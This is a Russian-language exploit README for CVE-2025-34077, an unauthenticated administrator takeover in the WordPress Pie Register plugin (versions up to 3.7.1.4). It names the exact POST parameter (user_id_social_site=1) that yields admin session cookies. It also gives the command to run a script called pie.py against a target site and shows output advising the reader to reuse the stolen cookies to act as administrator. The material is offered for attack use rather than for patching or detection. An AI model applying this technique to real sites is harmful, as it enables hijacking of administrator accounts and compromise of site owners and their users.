CVE-2025-34077 — WordPress Pie Register ≤ 3.7.1.4 - Повышение привилегий администратора (без аутентификации)

💀 Автор

Mrj Haxcore

🧠 Краткое описание уязвимости

Плагин Pie Register для WordPress (версии ≤ 3.7.1.4) предоставляет неаутентифицированную конечную точку, которая позволяет атакующему перехватить сессии администратора, просто отправив POST-запрос с определёнными данными.

Эксплуатация приводит к краже сессионных куки пользователя с ID 1 (обычно admin) без необходимости ввода учётных данных.

---

📦 Затронутое ПО

• Название плагина: Pie Register
• Версия: <= 3.7.1.4
• Слаг плагина: pie-register
• Страница плагина
• Ссылка на уязвимую версию

---

📬 Уязвимый параметр:

user_id_social_site=1 При отправке POST-запроса на корневой URL (/) этот параметр заставляет плагин аутентифицировать атакующего как пользователя с ID 1 (обычно admin) и выдавать действительные сессионные куки.

---

🔧 Требования

• Python 3.x
• requests, beautifulsoup4 (опционально, для разбора куки)

▶️ Запуск эксплойта

python3 pie.py http://target.site

---

Вывод [*] Отправка полезной нагрузки для перехвата сессии администратора...

[+] Успешно перехвачены куки для user_id=1 (admin): wordpress_sec_xxxxxx = <cookie_value> wordpress_logged_in_xxxxxx = <cookie_value>

[!] Используйте эти куки в вашем браузере или таких инструментах, как curl или Burp, чтобы действовать как администратор.